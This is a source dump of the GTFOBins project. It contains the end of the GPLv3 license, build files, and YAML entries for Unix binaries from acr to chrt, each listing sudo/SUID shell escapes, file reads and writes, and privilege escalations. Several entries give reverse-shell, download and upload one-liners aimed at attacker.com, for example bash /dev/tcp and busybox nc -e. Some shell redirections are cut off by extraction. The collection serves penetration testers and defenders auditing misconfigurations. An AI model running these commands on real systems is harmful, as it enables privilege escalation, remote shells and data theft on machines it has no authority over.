agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ NAME := gtfobins PORT := 4000 .PHONY: serve serve: @echo '# Building the Docker image' @docker build ./ -t "$(NAME)" @echo '# Building and serving the website' @rm -fr ./_site/ @docker run \ --rm \ --name "$(NAME)" \ --publish "$(PORT):$(PORT)" \ --volume "$$PWD/:/GTFOBins/" \ "$(NAME)" 2>&1 \ | grep -v "Error: could not read file /GTFOBins/_gtfobins/.*: undefined method \`split' for nil" .PHONY: vet vet: ./linter/.venv/ @echo '# Running linter' @. ./linter/.venv/bin/activate && python -m linter --check-only @echo '# All good!' .PHONY: format format: ./linter/.venv/ @if [ "$$(git ls-files --modified --others --exclude-standard)" ]; then \ echo '# Stage your changes first'; \ false; \ fi @echo '# Running linter' @. ./linter/.venv/bin/activate && python -m linter @echo '# All good!' .PHONY: clean clean: @echo '# Cleaning up Docker' @docker kill "$(NAME)" &>/dev/null || true @docker rmi "$(NAME)" &>/dev/null || true @echo '# Cleaning up the filesystem' @rm -fr ./linter/.venv/ @rm -fr ./_site/ ./linter/.venv/: @echo '# Setting up the virtual environment' @python3 -m venv ./linter/.venv/ @echo '# Installing dependencies' @. ./linter/.venv/bin/activate \ && PIP_USER= pip install --quiet --upgrade pip -r ./linter/requirements.txt ================================================ FILE: README.md ================================================ # GTFOBins [![CI status](https://github.com/GTFOBins/GTFOBins.github.io/actions/workflows/ci.yml/badge.svg)](https://github.com/GTFOBins/GTFOBins.github.io/actions?query=workflow:CI) [![CI status](https://github.com/GTFOBins/GTFOBins.github.io/actions/workflows/pages.yml/badge.svg)](https://github.com/GTFOBins/GTFOBins.github.io/actions?query=workflow:Pages) [![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&color=%23db61a2)](https://github.com/sponsors/GTFOBins) GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. Find the project at: [gtfobins.org](https://gtfobins.org) ================================================ FILE: _config.yml ================================================ title: GTFOBins url: https://gtfobins.org exclude: - /CNAME - /Dockerfile - /Gemfile* - /LICENSE - /Makefile - /README.md - /_private/ - /linter/ - /vendor/ # XXX this needs to be explicitly added permalink: pretty collections: gtfobins: output: true defaults: - scope: path: _gtfobins values: layout: gtfobin ================================================ FILE: _data/contexts.yml ================================================ unprivileged: label: Unprivileged description: This function can be performed by any unprivileged user. sudo: label: Sudo description: This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped. extra: environment: If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`. suid: label: SUID description: This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped. extra: shell: true: This executable runs commands using the system shell, e.g., via functions like `system`, so it only works for distributions where the shell does not drop SUID privileges. false: This executable runs commands directly, e.g., via functions like `exec`, remember to omit the `-p` argument of every `/bin/sh` invocation for distributions where the default shell does not drop SUID privileges. capabilities: label: Capabilities description: This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set. extra: list: 'The following capabilities are needed:' ================================================ FILE: _data/functions.yml ================================================ shell: label: Shell description: This executable can spawn an interactive system shell. mitre: - T1059 extra: tty: &tty false: The spawned shell is just a dummy REPL that can only run simple terminal commands. blind: &blind true: The commands are executed but their output is hidden from the attacker. command: label: Command description: This executable can run non-interactive system commands. mitre: - T1059 extra: blind: *blind reverse-shell: label: Reverse shell description: This executable can send back a reverse system shell to a listening attacker. mitre: - T1059 - T1071 extra: tty: *tty blind: *blind listener: tcp-server: comment: A TCP server can be used on the attacker box to receive the shell. code: nc -l -p 12345 tcp-server-tty: comment: A TCP server can be used on the attacker box to receive the shell. code: socat file:/dev/tty,raw,echo=0 tcp-listen:12345 tls-server: comment: A TLS server can be used on the attacker box to receive the shell. code: |- openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 bind-shell: label: Bind shell description: This executable can bind a system shell to a local port waiting for an attacker to connect. mitre: - T1059 - T1071 extra: tty: *tty blind: *blind connector: tcp-client: comment: A TCP client can be used on the attacker box to connect to the shell. code: nc victim.com 12345 tcp-client-tty: comment: A TCP client can be used on the attacker box to receive the shell. code: socat file:/dev/tty,raw,echo=0 tcp:victim.com:12345 file-write: label: File write description: This executable can write data to local files. mitre: - T1565 extra: binary: &binary false: The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data. file-read: label: File read description: This executable can read data from local files. mitre: - T1005 extra: binary: *binary upload: label: Upload description: This executable can upload local data. mitre: - T1041 extra: binary: *binary receiver: tcp-client: comment: A TCP client can be used on the attacker box to receive the data. code: nc victim.com 12345 >/path/to/output-file tcp-server: comment: A TCP server can be used on the attacker box to receive the data. code: nc -l -p 12345 >/path/to/output-file http-client: comment: An HTTP client can be used on the attacker box to receive the data. code: curl victim.com -o /path/to/output-file http-server: comment: An HTTP server can be used on the attacker box to receive the data. code: nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file ftp-server: comment: An FTP server can be used on the attacker box to receive the data. code: python -m pyftpdlib -w -p 21 ssh-server: comment: An SSH server can be used on the attacker box to receive the data. tls-server: comment: A TLS server can be used on the attacker box to receive the data. code: |- openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 >/path/to/output-file download: label: Download description: This executable can download remote data. mitre: - T1105 extra: binary: *binary sender: tcp-client: comment: A TCP client can be used on the attacker box to send the data. code: nc victim.com 12345 &0 2>&0' >/path/to/temp-file chmod +x /path/to/temp-file acr -r ./relative/path/to/temp-file contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/agetty ================================================ --- functions: shell: - code: |- agetty -l /bin/sh -o -p -a root tty contexts: suid: shell: false ... ================================================ FILE: _gtfobins/alpine ================================================ --- functions: file-read: - code: |- alpine -F /path/to/input-file comment: |- The file is displayed in the terminal interface. Other options might be available, for example, by pressing `S` is possible to save the file content elsewhere. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ansible-playbook ================================================ --- functions: shell: - code: |- echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >/path/to/temp-file ansible-playbook /path/to/temp-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ansible-test ================================================ --- functions: shell: - code: |- ansible-test shell contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/aoss ================================================ --- functions: shell: - code: |- aoss /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/apache2 ================================================ --- functions: file-read: - binary: false code: |- apache2 -f /path/to/input-file comment: |- The first line may be leaked as an error message. contexts: sudo: suid: unprivileged: - binary: false code: |- apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file' comment: |- The first line may be leaked as an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/apache2ctl ================================================ --- functions: file-read: - binary: false code: |- apache2ctl -c 'Include /path/to/input-file' comment: |- The first line only is likely leaked as an error message. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/apport-cli ================================================ --- functions: inherit: - code: |- apport-cli -f 1 2 v comment: |- The terminal interface expects some choices in order to spawn tha pager. contexts: unprivileged: from: less ... ================================================ FILE: _gtfobins/apt ================================================ --- alias: apt-get ... ================================================ FILE: _gtfobins/apt-get ================================================ --- functions: inherit: - code: |- apt-get changelog apt contexts: sudo: unprivileged: from: less shell: - code: |- echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file apt-get -y install -c /path/to/temp-file sl comment: |- For this to work the target package (i.e., `sl`) must not be already installed. contexts: sudo: suid: shell: true - code: |- apt-get update -o APT::Update::Pre-Invoke::=/bin/sh comment: |- When the shell exits the `update` command is actually executed. contexts: sudo: suid: shell: true ... ================================================ FILE: _gtfobins/aptitude ================================================ --- functions: inherit: - code: |- aptitude changelog aptitude contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/ar ================================================ --- functions: file-read: - code: |- ar r /path/to/output-file /path/to/input-file ar p /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/arch-nspawn ================================================ --- functions: shell: - code: |- mkdir -p ./etc/ grep -oP "^CHROOT_VERSION='\K[^']+" /usr/share/devtools/lib/archroot.sh >.arch-chroot touch ./etc/pacman.conf echo 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf arch-nspawn . contexts: sudo: ... ================================================ FILE: _gtfobins/aria2c ================================================ --- functions: command: - code: |- echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain comment: |- Note that the subprocess is immediately sent to the background. contexts: sudo: suid: shell: true unprivileged: - code: |- aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa comment: |- The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. contexts: sudo: suid: shell: true unprivileged: download: - code: |- aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file comment: |- Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory. contexts: sudo: suid: unprivileged: file-read: - binary: false code: |- aria2c -i /path/to/input-file comment: |- The file is leaked as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/arj ================================================ --- functions: file-read: - binary: false code: |- arj a /path/to/output-file /path/to/input-file arj p /path/to/output-file comment: |- The `.arj` suffix will be added to `output-file`. contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >output-file arj a x output-file arj e x /path/to/output-dir/ comment: |- The `.arj` suffix will be added to `x`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/arp ================================================ --- functions: file-read: - binary: false code: |- arp -v -f /path/to/input-file comment: |- Lines are likely leaked as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/as ================================================ --- functions: file-read: - code: |- as @/path/to/input-file comment: |- Lines are likely leaked as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ascii-xfr ================================================ --- functions: file-read: - code: |- ascii-xfr -ns /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ascii85 ================================================ --- functions: file-read: - code: |- ascii85 /path/to/input-file | ascii85 --decode contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ash ================================================ --- functions: file-write: - code: |- ash -c 'echo DATA >/path/to/output-file' contexts: sudo: suid: code: |- ash -p -c 'echo DATA >/path/to/output-file' unprivileged: shell: - code: |- ash contexts: sudo: suid: code: |- ash -p unprivileged: ... ================================================ FILE: _gtfobins/aspell ================================================ --- functions: file-read: - binary: false code: |- aspell -c /path/to/input-file comment: |- The textual file is displayed in an interactive TUI showing only the parts that contain mispelled words. contexts: sudo: suid: unprivileged: - binary: false code: |- aspell --conf /path/to/input-file comment: |- The first word is likely displayed as error messaged, and converted to lowercase. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/asterisk ================================================ --- functions: shell: - code: |- asterisk -r !/bin/sh comment: |- A server instance must be already running, otherwise it can be started with `sudo asterisk -F`. Moreover, the invoking user must be able to access the socket. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/at ================================================ --- functions: command: - blind: true code: |- echo /path/to/command | at now contexts: sudo: unprivileged: shell: - code: |- echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null comment: |- `tail` is used to pause the terminal. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/atobm ================================================ --- functions: file-read: - code: |- atobm /path/to/input-file comment: |- Outputs only the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`. Content can be retrieved with `awk -F "'" '{printf "%s", $2}'`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/autoconf ================================================ --- functions: shell: - code: |- echo /bin/sh >/path/to/temp-file chmod +x /path/to/temp-file touch configure.ac AUTOM4TE=/path/to/temp-file autoconf contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/autoheader ================================================ --- functions: shell: - code: |- echo '/bin/sh 1>&0' >/path/to/temp-file chmod +x /path/to/temp-file touch configure.ac AUTOM4TE=/path/to/temp-file autoheader contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/autoreconf ================================================ --- functions: shell: - code: |- echo '/bin/sh 1>&0' >/path/to/temp-file chmod +x /path/to/temp-file echo AC_INIT >configure.ac AUTOM4TE=/path/to/temp-file autoreconf comment: |- The shell is invoked multiple times. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/awk ================================================ --- alias: mawk ... ================================================ FILE: _gtfobins/aws ================================================ --- functions: file-read: - binary: false code: |- aws ec2 describe-instances --filter file:///path/to/input-file contexts: sudo: suid: unprivileged: inherit: - code: |- aws help contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/base32 ================================================ --- functions: file-read: - code: |- base32 /path/to/input-file | base32 --decode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/base58 ================================================ --- functions: file-read: - code: |- base58 /path/to/input-file | base58 --decode contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/base64 ================================================ --- functions: file-read: - code: |- base64 /path/to/input-file | base64 --decode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/basenc ================================================ --- functions: file-read: - code: |- basenc --base64 /path/to/input-file | basenc -d --base64 contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/basez ================================================ --- functions: file-read: - code: |- basez /path/to/input-file | basez --decode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/bash ================================================ --- functions: download: - binary: false code: |- bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/attacker.com/12345 \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file' contexts: sudo: suid: code: |- bash -p -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/attacker.com/12345 \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file' unprivileged: sender: http-server - binary: false code: |- bash -c 'echo "$(/path/to/output-file' contexts: sudo: suid: code: |- bash -p -c 'echo "$(/path/to/output-file' unprivileged: sender: tcp-server file-read: - binary: false code: |- bash -c 'echo "$(/path/to/output-file' contexts: sudo: suid: code: |- bash -p -c 'echo DATA >/path/to/output-file' unprivileged: - binary: false code: |- HISTIGNORE='history *' history -c DATA history -w /path/to/output-file comment: |- This only works interactively from an existing `bash` session. It adds timestamps to the output file. contexts: sudo: suid: unprivileged: library-load: - code: |- bash -c 'enable -f /path/to/lib.so x' contexts: sudo: suid: code: |- bash -p -c 'enable -f /path/to/lib.so x' unprivileged: reverse-shell: - code: |- bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1' contexts: sudo: suid: code: |- bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1' unprivileged: listener: tcp-server shell: - code: |- bash contexts: sudo: suid: code: |- bash -p unprivileged: upload: - binary: false code: |- bash -c 'echo -e "POST / HTTP/0.9\n\n$(/dev/tcp/attacker.com/12345' contexts: sudo: suid: code: |- bash -p -c 'echo -e "POST / HTTP/0.9\n\n$(/dev/tcp/attacker.com/12345' unprivileged: receiver: http-server - binary: false code: |- bash -c 'echo -n "$(/dev/tcp/attacker.com/12345' contexts: sudo: suid: code: |- bash -p -c 'echo -n "$(/dev/tcp/attacker.com/12345' unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/bashbug ================================================ --- functions: inherit: - code: |- bashbug contexts: sudo: unprivileged: from: vi ... ================================================ FILE: _gtfobins/batcat ================================================ --- functions: inherit: - code: |- batcat --paging always /etc/hosts comment: |- `--paging always` can be omitted provided that the output doesn't fit the screen. contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/bbot ================================================ --- functions: file-read: - binary: false code: |- bbot -d -cy /path/to/input-file comment: |- The file is displayed in the debug log. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bc ================================================ --- functions: file-read: - code: |- bc -s /path/to/input-file quit comment: |- The file content is actually parsed and appears as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/bconsole ================================================ --- functions: file-read: - code: |- bconsole -c /path/to/file-input comment: |- The file is actually parsed and the first wrong line is returned in an error message. contexts: sudo: suid: unprivileged: shell: - code: |- bconsole @exec /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bee ================================================ --- functions: inherit: - code: |- bee eval '...' comment: |- This allows to run PHP code (`...`). This must be excuted from the Backdrop CMS root directory (e.g. `/var/www/html`), alternatively use the `--root` option. contexts: sudo: suid: unprivileged: from: php ... ================================================ FILE: _gtfobins/borg ================================================ --- functions: shell: - code: |- borg extract @:/::: --rsh "/bin/sh -c '/bin/sh /dev/tty 2>/dev/tty'" contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bpftrace ================================================ --- functions: shell: - code: |- bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}' contexts: sudo: - code: |- echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file bpftrace --unsafe /path/to/temp-file contexts: sudo: - code: |- bpftrace -c /bin/sh -e 'END {exit()}' contexts: sudo: ... ================================================ FILE: _gtfobins/bridge ================================================ --- functions: file-read: - code: |- bridge -b /path/to/input-file comment: |- Outputs the first line of the file (until the first whitespace) inside an error message to stdandard error. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/bundle ================================================ --- functions: inherit: - code: |- bundle help contexts: sudo: unprivileged: from: less - code: |- touch Gemfile bundle console contexts: sudo: unprivileged: from: irb shell: - code: |- BUNDLE_GEMFILE=x bundle exec /bin/sh contexts: sudo: unprivileged: - code: |- touch Gemfile bundle exec /bin/sh contexts: sudo: unprivileged: - code: |- echo 'system("/bin/sh")' >Gemfile bundle install comment: |- This might run the shell twice, one after the other. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bundler ================================================ --- alias: bundle ... ================================================ FILE: _gtfobins/busctl ================================================ --- functions: inherit: - code: |- busctl --show-machine contexts: sudo: suid: unprivileged: from: less shell: - code: |- busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' contexts: sudo: suid: code: |- busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2' shell: false unprivileged: - code: |- busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' contexts: sudo: suid: code: |- busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2' shell: false unprivileged: ... ================================================ FILE: _gtfobins/busybox ================================================ --- comment: |- BusyBox may contain many utilities, run `busybox --list-full` to check what other binaries are supported. functions: inherit: - code: |- busybox ash contexts: sudo: unprivileged: from: ash - code: |- busybox cat contexts: sudo: unprivileged: from: cat reverse-shell: - code: |- busybox nc -e /bin/sh attacker.com 12345 contexts: sudo: unprivileged: listener: tcp-server upload: - code: |- busybox httpd -f -p 12345 -h . comment: |- This serves files in the local folder via an HTTP server. contexts: sudo: unprivileged: receiver: http-client ... ================================================ FILE: _gtfobins/byebug ================================================ --- functions: inherit: - code: |- byebug --no-stop /path/to/script.rb contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/bzip2 ================================================ --- comment: |- There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID. functions: file-read: - code: |- bzip2 -c /path/to/input-file | bzip2 -d contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/c89 ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/c99 ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/cabal ================================================ --- functions: shell: - code: |- cabal exec --project-file=/dev/null -- /bin/sh contexts: sudo: suid: code: |- cabal exec --project-file=/dev/null -- /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/cancel ================================================ --- functions: upload: - binary: false code: |- cancel -h attacker.com:12345 -u DATA comment: |- Data is sent as a POST request along with other content. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/capsh ================================================ --- functions: shell: - code: |- capsh -- contexts: sudo: suid: code: |- capsh --gid=0 --uid=0 -- unprivileged: ... ================================================ FILE: _gtfobins/cargo ================================================ --- functions: inherit: - code: |- cargo help doc contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/cat ================================================ --- functions: file-read: - code: |- cat /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/cc ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/cdist ================================================ --- functions: shell: - code: |- cdist shell -s /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/certbot ================================================ --- functions: shell: - code: |- certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0' comment: |- This needs a writable directory, replace `.` if needed. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/chattr ================================================ --- functions: privilege-escalation: - code: |- chattr +i /path/to/input-file comment: |- Make the target file immutable. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/check_by_ssh ================================================ --- comment: |- This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: shell: - code: |- check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x comment: |- The shell will only last 10 seconds. contexts: sudo: unprivileged: version: |- When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore. It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian). ... ================================================ FILE: _gtfobins/check_cups ================================================ --- comment: |- This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - binary: false code: |- check_cups --extra-opts=@/path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_log ================================================ --- comment: |- This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_log -F /path/to/input-file -O /dev/stdout contexts: sudo: unprivileged: file-write: - code: |- check_log -F /path/to/input-file -O /path/to/output-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_memory ================================================ --- comment: |- This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_memory --extra-opts=@/path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_raid ================================================ --- comment: |- This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_raid --extra-opts=@/path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_ssl_cert ================================================ --- comment: |- This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: shell: - code: |- echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file chmod +x /path/to/temp-file check_ssl_cert --grep-bin /path/to/temp-file -H x comment: |- The shell will be invoked multiple times. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_statusfile ================================================ --- comment: |- This is the `check_statusfile` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_statusfile /path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/chmod ================================================ --- functions: privilege-escalation: - code: |- chmod 6777 /path/to/input-file comment: |- This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/choom ================================================ --- functions: shell: - code: |- choom -n 0 /bin/sh contexts: sudo: suid: code: |- choom -n 0 -- /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/chown ================================================ --- functions: privilege-escalation: - code: |- chown $(id -un):$(id -gn) /path/to/input-file comment: |- This can be run with elevated privileges to change ownership and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/chroot ================================================ --- functions: shell: - code: |- chroot / contexts: sudo: suid: code: |- chroot / /bin/sh -p shell: false ... ================================================ FILE: _gtfobins/chrt ================================================ --- functions: shell: - code: |- chrt 1 /bin/sh comment: |- Any number between 1 and 99 will do. contexts: sudo: suid: code: |- chrt 1 /bin/sh -p shell: false unprivileged: ... 